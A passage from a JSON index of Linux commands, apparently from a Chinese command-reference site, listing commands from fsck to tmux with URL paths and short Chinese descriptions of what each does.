check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"Smartmontools":{"n":"Smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU 